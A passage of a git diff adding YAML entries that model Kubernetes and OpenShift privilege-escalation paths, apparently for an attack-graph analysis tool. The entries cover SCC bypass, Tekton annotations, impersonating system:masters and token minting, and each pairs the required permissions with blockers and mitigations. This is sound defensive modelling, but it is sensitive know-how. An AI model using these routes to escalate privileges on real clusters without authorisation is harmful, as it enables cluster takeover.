api_group: apps.openshift.io, namespace: "{pivot.namespace}"} + - - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + # Repoint an existing controller to the SCC ServiceAccount and a host-access pod template. + - - {verb: patch, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: update, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - - {verb: update, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: update, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: deploymentconfigs, api_group: apps.openshift.io, namespace: "{pivot.namespace}"} + - - {verb: update, resource: deploymentconfigs, api_group: apps.openshift.io, namespace: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + openshift_namespace_has_sa_with_host_scc: "{pivot.namespace}" + scope: cluster + aggregate_as: "Schedulable nodes of {cluster}" + conditions: + - id: controller_object_exists + description: The patch/update alternatives require an existing controller in the namespace covered by the grant. + preconditions: [k8s_openshift_cluster] + blockers: [pod_security_admission, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Keep ServiceAccounts with privileged SCC access in namespaces where untrusted subjects cannot create workloads. + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: The selector requires some ServiceAccount in the pivot namespace that may use a host SCC, either through RBAC use on security.openshift.io securitycontextconstraints or through the SCC object's users[] (system:serviceaccount::) / groups[] (e.g. system:serviceaccounts:), which the K8s collector now collects and the effective-permissions hook evaluates. That ServiceAccount itself is already reached by pods create (workloads.yaml). + +- id: k8s-openshift-privileged-default-projects + provider: k8s + service: openshift + title: Create pods in OpenShift projects where SCC admission is not applied + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md#privileged-namespaces + source_revision: a66f094ede + summary: The source can obtain the privileges of schedulable nodes by creating host-privileged pods in the default, kube-system, kube-public, openshift-node, openshift-infra or openshift projects. + requires: + all_of: [] + any_of: + - - any_of: + - {verb: create, resource: pods, namespace: default} + - {verb: create, resource: deployments, api_group: apps, namespace: default} + - {verb: create, resource: daemonsets, api_group: apps, namespace: default} + - {verb: create, resource: statefulsets, api_group: apps, namespace: default} + - {verb: create, resource: replicasets, api_group: apps, namespace: default} + - {verb: create, resource: replicationcontrollers, namespace: default} + - {verb: create, resource: jobs, api_group: batch, namespace: default} + - {verb: create, resource: cronjobs, api_group: batch, namespace: default} + - - any_of: + - {verb: create, resource: pods, namespace: kube-system} + - {verb: create, resource: deployments, api_group: apps, namespace: kube-system} + - {verb: create, resource: daemonsets, api_group: apps, namespace: kube-system} + - {verb: create, resource: statefulsets, api_group: apps, namespace: kube-system} + - {verb: create, resource: replicasets, api_group: apps, namespace: kube-system} + - {verb: create, resource: replicationcontrollers, namespace: kube-system} + - {verb: create, resource: jobs, api_group: batch, namespace: kube-system} + - {verb: create, resource: cronjobs, api_group: batch, namespace: kube-system} + - - any_of: + - {verb: create, resource: pods, namespace: kube-public} + - {verb: create, resource: deployments, api_group: apps, namespace: kube-public} + - {verb: create, resource: daemonsets, api_group: apps, namespace: kube-public} + - {verb: create, resource: statefulsets, api_group: apps, namespace: kube-public} + - {verb: create, resource: replicasets, api_group: apps, namespace: kube-public} + - {verb: create, resource: replicationcontrollers, namespace: kube-public} + - {verb: create, resource: jobs, api_group: batch, namespace: kube-public} + - {verb: create, resource: cronjobs, api_group: batch, namespace: kube-public} + - - any_of: + - {verb: create, resource: pods, namespace: openshift-node} + - {verb: create, resource: deployments, api_group: apps, namespace: openshift-node} + - {verb: create, resource: daemonsets, api_group: apps, namespace: openshift-node} + - {verb: create, resource: statefulsets, api_group: apps, namespace: openshift-node} + - {verb: create, resource: replicasets, api_group: apps, namespace: openshift-node} + - {verb: create, resource: replicationcontrollers, namespace: openshift-node} + - {verb: create, resource: jobs, api_group: batch, namespace: openshift-node} + - {verb: create, resource: cronjobs, api_group: batch, namespace: openshift-node} + - - any_of: + - {verb: create, resource: pods, namespace: openshift-infra} + - {verb: create, resource: deployments, api_group: apps, namespace: openshift-infra} + - {verb: create, resource: daemonsets, api_group: apps, namespace: openshift-infra} + - {verb: create, resource: statefulsets, api_group: apps, namespace: openshift-infra} + - {verb: create, resource: replicasets, api_group: apps, namespace: openshift-infra} + - {verb: create, resource: replicationcontrollers, namespace: openshift-infra} + - {verb: create, resource: jobs, api_group: batch, namespace: openshift-infra} + - {verb: create, resource: cronjobs, api_group: batch, namespace: openshift-infra} + - - any_of: + - {verb: create, resource: pods, namespace: openshift} + - {verb: create, resource: deployments, api_group: apps, namespace: openshift} + - {verb: create, resource: daemonsets, api_group: apps, namespace: openshift} + - {verb: create, resource: statefulsets, api_group: apps, namespace: openshift} + - {verb: create, resource: replicasets, api_group: apps, namespace: openshift} + - {verb: create, resource: replicationcontrollers, namespace: openshift} + - {verb: create, resource: jobs, api_group: batch, namespace: openshift} + - {verb: create, resource: cronjobs, api_group: batch, namespace: openshift} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Schedulable nodes of {cluster}" + conditions: + - id: openshift_cluster + description: Only applies to OpenShift clusters. + preconditions: [k8s_openshift_cluster] + blockers: [pod_security_admission, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Never grant workload creation in OpenShift default/system projects to untrusted subjects. + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: Per Red Hat docs, functionality depending on admission plugins (including SCC) does not work in these projects. + +- id: k8s-openshift-run-level-label-existing-namespace + provider: k8s + service: openshift + title: Add the openshift.io/run-level label to a namespace and create pods + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md#namespace-label + source_revision: a66f094ede + summary: The source can obtain the privileges of schedulable nodes by labelling a namespace so SCCs are not applied and creating host-privileged pods there. + requires: + all_of: + - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + any_of: + - - {verb: patch, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + - - {verb: update, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Schedulable nodes of {cluster}" + conditions: + - id: openshift_cluster + description: Only applies to OpenShift clusters. + - id: admission_protects_run_level_label + description: A Gatekeeper/VAP policy rejecting the reserved label removes the edge. + preconditions: [k8s_openshift_cluster] + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Prevent untrusted subjects from modifying namespaces and reject the openshift.io/run-level label via admission. + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: Namespaces that already carry the label (listed in the snapshot labels) are reached with pods create alone; the evaluator should apply k8s-openshift-privileged-default-projects semantics to them. + +- id: k8s-openshift-run-level-label-new-namespace + provider: k8s + service: openshift + title: Create a namespace with the openshift.io/run-level label and create pods + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md#namespace-label + source_revision: a66f094ede + summary: The source can obtain the privileges of schedulable nodes by creating a namespace where SCCs are not applied and creating host-privileged pods in it. + requires: + all_of: + - {verb: create, resource: namespaces, namespace: "*"} + - any_of: + - {verb: create, resource: pods, namespace: "*"} + - {verb: create, resource: deployments, api_group: apps, namespace: "*"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "*"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicationcontrollers, namespace: "*"} + - {verb: create, resource: jobs, api_group: batch, namespace: "*"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "*"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Schedulable nodes of {cluster}" + conditions: + - id: openshift_cluster + description: Only applies to OpenShift clusters. + - id: admission_protects_run_level_label + description: A Gatekeeper/VAP policy rejecting the reserved label removes the edge. + preconditions: [k8s_openshift_cluster] + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Restrict namespace creation (users normally create projects through projectrequests, which do not set this label). + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: Requires create on namespaces (not projectrequests) and pods create effective in the new namespace (cluster-wide grant). + +- id: k8s-openshift-tekton-namespace-scc-annotation + provider: k8s + service: openshift + title: Request a privileged SCC for Tekton workloads through a namespace annotation + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md#the-misconfiguration + source_revision: 171e422 + summary: The source can obtain the privileges of schedulable nodes by annotating a namespace so the Tekton operator attaches a privileged SCC to its pipeline ServiceAccount and running a TaskRun or PipelineRun there. + requires: + all_of: [] + any_of: + - - {verb: patch, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + - {verb: create, resource: taskruns, api_group: tekton.dev, namespace: "{pivot.namespace}"} + - - {verb: update, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + - {verb: create, resource: taskruns, api_group: tekton.dev, namespace: "{pivot.namespace}"} + - - {verb: patch, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + - {verb: create, resource: pipelineruns, api_group: tekton.dev, namespace: "{pivot.namespace}"} + - - {verb: update, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + - {verb: create, resource: pipelineruns, api_group: tekton.dev, namespace: "{pivot.namespace}"} + - - {verb: create, resource: namespaces, namespace: "*"} + - {verb: create, resource: taskruns, api_group: tekton.dev, namespace: "*"} + - - {verb: create, resource: namespaces, namespace: "*"} + - {verb: create, resource: pipelineruns, api_group: tekton.dev, namespace: "*"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Schedulable nodes of {cluster}" + conditions: + - id: tekton_maxallowed_permits + description: TektonConfig spec.platforms.openshift.scc.maxAllowed must be unset or at least as permissive as the requested SCC (TektonConfig is not collected). + - id: tekton_operator_installed + description: OpenShift Pipelines (Tekton operator) must manage the namespace. + - id: inline_task_spec + description: The run must be able to define its steps (inline taskSpec or a Task the source can create/choose). + preconditions: [k8s_openshift_cluster] + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Set TektonConfig scc.default and scc.maxAllowed to restricted-v2 and restrict namespace writes. + references: + - https://docs.redhat.com/en/documentation/red_hat_openshift_pipelines/latest + notes: Tekton-created pods are created by the Tekton controller, so the source needs no pods permission. The pipeline ServiceAccount is also reachable as an identity (its own RBAC) by the same permissions. + +- id: k8s-openshift-scc-users-missing-serviceaccount + provider: k8s + service: openshift + title: Create a missing ServiceAccount named in an SCC users list + source: src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md#missing-service-account + source_revision: a66f094ede + summary: The source can obtain the SCC privileges granted to a non-existent ServiceAccount named in an SCC's users list by creating that ServiceAccount and running pods as it. + requires: + all_of: + - {verb: create, resource: serviceaccounts, namespace: "{target.namespace}"} + - any_of: + - {verb: create, resource: pods, namespace: "{target.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{target.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{target.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{target.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{target.namespace}"} + - {verb: create, resource: deploymentconfigs, api_group: apps.openshift.io, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_named_in_scc_users: true + scope: cluster + aggregate_as: "ServiceAccounts named in SCC users of {cluster}" + conditions: + - id: scc_grant_is_host_level + description: The escalation is only meaningful when the SCC naming the ServiceAccount is host-level (privileged, hostaccess, hostmount-anyuid, node-exporter or an equivalent custom SCC). + preconditions: [k8s_openshift_cluster] + blockers: [pod_security_admission, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Remove SCC users entries whose ServiceAccount no longer exists. + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: k8s_sa_named_in_scc_users turns SCC users[] entries (system:serviceaccount::) into virtual ServiceAccount nodes (no targets outside OpenShift). If the namespace is missing too, see k8s-rbac-serviceaccount-in-absent-namespace. diff --git a/src/privilege-escalation-paths-research/k8s/rbac.yaml b/src/privilege-escalation-paths-research/k8s/rbac.yaml new file mode 100644 index 0000000000..2dc0cf8d7a --- /dev/null +++ b/src/privilege-escalation-paths-research/k8s/rbac.yaml @@ -0,0 +1,955 @@ +# Kubernetes RBAC-plane privilege-escalation techniques (secrets, tokens, impersonation, +# bind/escalate, CSR). Source: hacktricks-cloud rev a53b46392c, re-verified against 171e422. +# +# Conventions used across catalog/k8s/*.yaml (see SCHEMA EXTENSIONS in the agent report): +# namespace: "{target.namespace}" -> the effective grant (RoleBinding in that namespace, or a +# ClusterRoleBinding) must cover the namespace of the target. +# namespace: "{pivot.namespace}" -> one namespace P in which EVERY requirement using +# {pivot.namespace} holds at the same time; blockers and selectors +# that mention the pivot are evaluated against P. +# namespace: "*" -> cluster-wide grant (ClusterRoleBinding) or cluster-scoped resource. +# resource_name: -> the rule must cover that object name (no resourceNames, or the +# name is listed). {target.name} = name of the target object. +# api_group omitted -> core group "". +# source_kind (top level) -> the source is an identity of that kind rather than any RBAC +# subject holding the listed permissions (requires may be empty). + +- id: k8s-rbac-wildcard-cluster-admin + provider: k8s + service: rbac + title: Wildcard verbs on wildcard resources cluster-wide + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#access-any-resource-or-verb-wildcard + source_revision: 171e422 + summary: The source can obtain the privileges of cluster-admin (full control of every API resource in the cluster). + requires: + all_of: + - verb: "*" + resource: "*" + api_group: "*" + namespace: "*" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Bind cluster-admin or wildcard ClusterRoles only to break-glass identities; replace wildcards with explicit verbs, resources and API groups. + references: + - https://kubernetes.io/docs/concepts/security/rbac-good-practices/ + notes: A namespaced wildcard (Role or RoleBinding to a wildcard ClusterRole) is not modelled separately; the evaluator's wildcard expansion makes it match the per-permission entries (pods create, secrets read, serviceaccounts/token, rolebindings + bind) scoped to that namespace. + +- id: k8s-rbac-secrets-read-legacy-sa-token + provider: k8s + service: rbac + title: Read Secrets containing legacy ServiceAccount tokens + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#listing-secrets + source_revision: 171e422 + summary: The source can obtain the privileges of ServiceAccounts in the namespace that have a kubernetes.io/service-account-token Secret. + requires: + all_of: [] + any_of: + - - verb: get + resource: secrets + namespace: "{target.namespace}" + - - verb: list + resource: secrets + namespace: "{target.namespace}" + - - verb: watch + resource: secrets + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_sa_has_legacy_token_secret: true + scope: same_namespace + aggregate_as: "ServiceAccounts with legacy token Secrets in {target.namespace}" + conditions: + - id: legacy_sa_token_secret_exists + description: Only ServiceAccounts that have a kubernetes.io/service-account-token Secret are reachable; the selector checks secret metadata (type and kubernetes.io/service-account.name annotation, never data), and without secret metadata the targets stay unresolved. + - id: get_requires_secret_name + description: With get alone (no list/watch) the Secret name must be known or discoverable (e.g. referenced in the ServiceAccount's secrets field or a workload spec). + blockers: [] + confidence: derived + severity: critical + mitigation: Remove get/list/watch on secrets from non-admin subjects, delete legacy service-account-token Secrets and rely on bound projected tokens. + references: + - https://kubernetes.io/docs/concepts/security/service-accounts/ + - https://kubernetes.io/docs/reference/access-authn-authz/service-accounts-admin/#legacy-serviceaccount-token-cleaner + notes: Reading other Secret types (cloud keys, kubeconfigs) can also yield identities, but those targets are not derivable from the snapshot and are excluded. list and watch return Secret data, not only names. + +- id: k8s-rbac-secrets-create-sa-token-secret + provider: k8s + service: rbac + title: Create a ServiceAccount token Secret and read it back + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/secrets-and-configmaps.md#creating-and-reading-secrets + source_revision: 171e422 + summary: The source can obtain the privileges of any ServiceAccount in the namespace by having the token controller populate a token Secret it can read. + requires: + all_of: + - verb: create + resource: secrets + namespace: "{target.namespace}" + any_of: + - - verb: get + resource: secrets + namespace: "{target.namespace}" + - - verb: list + resource: secrets + namespace: "{target.namespace}" + - - verb: watch + resource: secrets + namespace: "{target.namespace}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + scope: same_namespace + aggregate_as: "All ServiceAccounts in {target.namespace}" + conditions: + - id: admission_blocks_sa_token_secret + description: An admission policy (VAP, Kyverno, Gatekeeper) rejecting Secrets of type kubernetes.io/service-account-token would remove the edge. + blockers: [] + confidence: derived + severity: critical + mitigation: Do not combine create and read on secrets for non-admin subjects; deny creation of kubernetes.io/service-account-token Secrets via admission policy. + references: + - https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#manually-create-an-api-token-for-a-serviceaccount + notes: Manually created token Secrets are still populated by the token controller on current Kubernetes versions. resourceNames cannot restrict create, so a get rule limited to resourceNames still works if it lists the name the source chooses. + +- id: k8s-rbac-serviceaccounts-token-create + provider: k8s + service: rbac + title: Mint tokens with the TokenRequest API + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#create-serviceaccounts-token + source_revision: 171e422 + summary: The source can obtain the privileges of the ServiceAccounts on which it can create serviceaccounts/token. + requires: + all_of: + - verb: create + resource: serviceaccounts + subresource: token + namespace: "{target.namespace}" + resource_name: "{target.name}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + resource_permission_covers_target: serviceaccounts/token:create + scope: same_namespace + aggregate_as: "ServiceAccounts tokenable in {target.namespace}" + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Grant create on serviceaccounts/token only to the kubelet/system components that need it, scoped with resourceNames. + references: + - https://kubernetes.io/docs/reference/kubernetes-api/authentication-resources/token-request-v1/ + notes: resourceNames on serviceaccounts/token restrict which ServiceAccounts can be targeted (the request names the existing ServiceAccount). Nodes get this implicitly for pods bound to them; that case is modelled in nodes.yaml. + +- id: k8s-rbac-impersonate-serviceaccounts + provider: k8s + service: rbac + title: Impersonate ServiceAccounts + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#impersonating-privileged-accounts + source_revision: 171e422 + summary: The source can obtain the privileges of the ServiceAccounts it may impersonate. + requires: + all_of: + - verb: impersonate + resource: serviceaccounts + namespace: "{target.namespace}" + resource_name: "{target.name}" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + resource_permission_covers_target: serviceaccounts:impersonate + scope: same_namespace + aggregate_as: "Impersonable ServiceAccounts in {target.namespace}" + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Remove impersonate on serviceaccounts from non-admin subjects or restrict it with resourceNames to low-privilege accounts. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: Per Kubernetes docs, impersonating a username of the form system:serviceaccount:: is authorized against the serviceaccounts resource in that namespace, not against users. The impersonated SA username also receives the system:serviceaccounts groups only if the source additionally impersonates them; RBAC bindings to the SA subject apply either way. + +- id: k8s-rbac-impersonate-users + provider: k8s + service: rbac + title: Impersonate users + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#impersonating-privileged-accounts + source_revision: 171e422 + summary: The source can obtain the privileges of the users it may impersonate. + requires: + all_of: + - verb: impersonate + resource: users + namespace: "*" + resource_name: "{target.name}" + target: + kind: k8s_user + selector: + resource_permission_covers_target: users:impersonate + scope: cluster + aggregate_as: "Impersonable users in {cluster}" + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Remove impersonate on users from non-admin subjects or restrict it with resourceNames. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: Users are not API objects; the reachable set is the user names that appear as subjects in RoleBindings/ClusterRoleBindings (only those carry privileges). Usernames of the form system:serviceaccount:* are covered by k8s-rbac-impersonate-serviceaccounts, and system:node:* by k8s-rbac-impersonate-node. + +- id: k8s-rbac-impersonate-groups + provider: k8s + service: rbac + title: Impersonate groups (with user impersonation) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#impersonating-privileged-accounts + source_revision: 171e422 + summary: The source can obtain the privileges of the groups it may impersonate. + requires: + all_of: + - verb: impersonate + resource: groups + namespace: "*" + resource_name: "{target.name}" + - verb: impersonate + resource: users + namespace: "*" + target: + kind: k8s_group + selector: + resource_permission_covers_target: groups:impersonate + exclude_names: ["system:masters"] + scope: cluster + aggregate_as: "Impersonable groups in {cluster}" + conditions: + - id: user_impersonation_name_restricted + description: Group impersonation requires impersonating some user in the same request; a users resourceNames restriction only limits which user name is sent, any covered name suffices. + blockers: [] + confidence: derived + severity: critical + mitigation: Remove impersonate on groups from non-admin subjects; never allow impersonation of system:masters or groups bound to admin roles. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: Verified in Kubernetes docs that Impersonate-Group requires Impersonate-User. Without impersonate on users this entry does not apply. system:masters is handled by k8s-rbac-impersonate-system-masters. + +- id: k8s-rbac-impersonate-system-masters + provider: k8s + service: rbac + title: Impersonate the system:masters group + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#impersonating-privileged-accounts + source_revision: 171e422 + summary: The source can obtain the privileges of cluster-admin through the system:masters group, which bypasses RBAC. + requires: + all_of: + - verb: impersonate + resource: groups + namespace: "*" + resource_name: "system:masters" + - verb: impersonate + resource: users + namespace: "*" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Never grant impersonate on groups without resourceNames; explicitly exclude system:masters. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/rbac/#user-facing-roles + notes: Members of system:masters are authorized unconditionally by the API server before RBAC. + +- id: k8s-rbac-impersonate-node + provider: k8s + service: rbac + title: Impersonate a node identity + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#impersonating-privileged-accounts + source_revision: 171e422 + summary: The source can obtain the privileges of a node (system:node: in group system:nodes). + requires: + all_of: + - verb: impersonate + resource: users + namespace: "*" + resource_name: "system:node:{target.name}" + - verb: impersonate + resource: groups + namespace: "*" + resource_name: "system:nodes" + target: + kind: k8s_node + selector: + resource_permission_covers_target: users:impersonate + scope: cluster + aggregate_as: "Impersonable nodes in {cluster}" + conditions: [] + blockers: [] + confidence: derived + severity: high + mitigation: Restrict impersonate on users and groups with resourceNames that exclude system:node:* and system:nodes. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/node/ + notes: The Node authorizer requires both the system:node: username and the system:nodes group. Node identity then reaches the ServiceAccounts of pods on that node (see nodes.yaml). + +- id: k8s-rbac-constrained-impersonation-user + provider: k8s + service: rbac + title: Constrained impersonation of a user (user-info mode) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#constrained-impersonation + source_revision: 171e422 + summary: The source can obtain a subset of the privileges of the users it may impersonate in user-info mode. + requires: + all_of: + - verb_prefix: "impersonate-on:user-info:" + resource_match: any + namespace: "*" + any_of: + - - verb: "impersonate:user-info" + resource: users + api_group: authentication.k8s.io + namespace: "*" + resource_name: "{target.name}" + - - verb: "impersonate:user-info" + resource: users + namespace: "*" + resource_name: "{target.name}" + target: + kind: k8s_user + selector: + resource_permission_covers_target: "users:impersonate:user-info" + scope: cluster + aggregate_as: "Users impersonable in constrained mode in {cluster}" + conditions: + - id: constrained_impersonation_action_subset + description: Only the verbs/resources granted via impersonate-on:user-info: are usable while impersonating; the edge is meaningful only if those overlap the target's privileges on sensitive resources. + - id: constrained_impersonation_enabled + description: Requires Kubernetes 1.36+ (beta, on by default) or the feature gate. + blockers: [] + confidence: conditional + severity: high + mitigation: Grant impersonate: and impersonate-on:: only as narrow, resourceName-scoped pairs for the exact delegated operation. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: The action half (verb_prefix "impersonate-on:user-info:" with resource_match any) matches at least one impersonate-on:user-info: grant (or verb "*") on any resource of any group, e.g. impersonate-on:user-info:get on secrets. HackTricks (171e422) reproduced the identity rule on Kubernetes 1.37 as apiGroups ["authentication.k8s.io"] resources ["users"]; the core-group spelling is kept as an alternative because the api group of a rule is matched exactly. The source never gains more than the intersection of its impersonate-on grants and the target's own permissions. + +- id: k8s-rbac-constrained-impersonation-serviceaccount + provider: k8s + service: rbac + title: Constrained impersonation of a ServiceAccount + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#constrained-impersonation + source_revision: 171e422 + summary: The source can obtain a subset of the privileges of the ServiceAccounts it may impersonate in serviceaccount mode. + requires: + all_of: + - verb: "impersonate:serviceaccount" + resource: serviceaccounts + namespace: "{target.namespace}" + resource_name: "{target.name}" + - verb_prefix: "impersonate-on:serviceaccount:" + resource_match: any + namespace: "*" + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + resource_permission_covers_target: "serviceaccounts:impersonate:serviceaccount" + scope: same_namespace + aggregate_as: "ServiceAccounts impersonable in constrained mode in {target.namespace}" + conditions: + - id: constrained_impersonation_action_subset + description: Only the verbs/resources granted via impersonate-on:serviceaccount: are usable while impersonating. + - id: constrained_impersonation_enabled + description: Requires Kubernetes 1.36+ (beta, on by default) or the feature gate. + blockers: [] + confidence: conditional + severity: high + mitigation: Grant constrained impersonation only as narrow, resourceName-scoped identity/action pairs. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: Official doc example uses core group serviceaccounts with verb impersonate:serviceaccount. The action half (verb_prefix "impersonate-on:serviceaccount:", resource_match any) matches any impersonate-on:serviceaccount: grant on any resource. + +- id: k8s-rbac-constrained-impersonation-node + provider: k8s + service: rbac + title: Constrained impersonation of nodes (arbitrary-node mode) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#constrained-impersonation + source_revision: 171e422 + summary: The source can obtain a subset of the privileges of any node it may impersonate in arbitrary-node mode. + requires: + all_of: + - verb: "impersonate:arbitrary-node" + resource: nodes + namespace: "*" + resource_name: "{target.name}" + - verb_prefix: "impersonate-on:arbitrary-node:" + resource_match: any + namespace: "*" + target: + kind: k8s_node + selector: + resource_permission_covers_target: "nodes:impersonate:arbitrary-node" + scope: cluster + aggregate_as: "Nodes impersonable in constrained mode in {cluster}" + conditions: + - id: constrained_impersonation_action_subset + description: Only the verbs granted via impersonate-on:: are usable while impersonating the node. + - id: constrained_impersonation_enabled + description: Requires Kubernetes 1.36+ (beta, on by default) or the feature gate. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not grant node impersonation modes outside node-agent ServiceAccounts, and scope the impersonate-on verbs tightly. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/user-impersonation/ + notes: The exact resource/api group for the node-mode identity rule could not be confirmed from the official page excerpt; the api group is omitted so any group matches. associated-node mode is k8s-rbac-constrained-impersonation-associated-node. + +- id: k8s-rbac-constrained-impersonation-associated-node + provider: k8s + service: rbac + title: Constrained impersonation of the node running the source's pod (associated-node mode) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#constrained-impersonation + source_revision: 171e422 + summary: A ServiceAccount granted associated-node impersonation can obtain a subset of the privileges of the node that runs its own pod. + requires: + all_of: + - verb: "impersonate:associated-node" + resource: nodes + namespace: "*" + - verb_prefix: "impersonate-on:associated-node:" + resource_match: any + namespace: "*" + target: + kind: k8s_node + selector: + 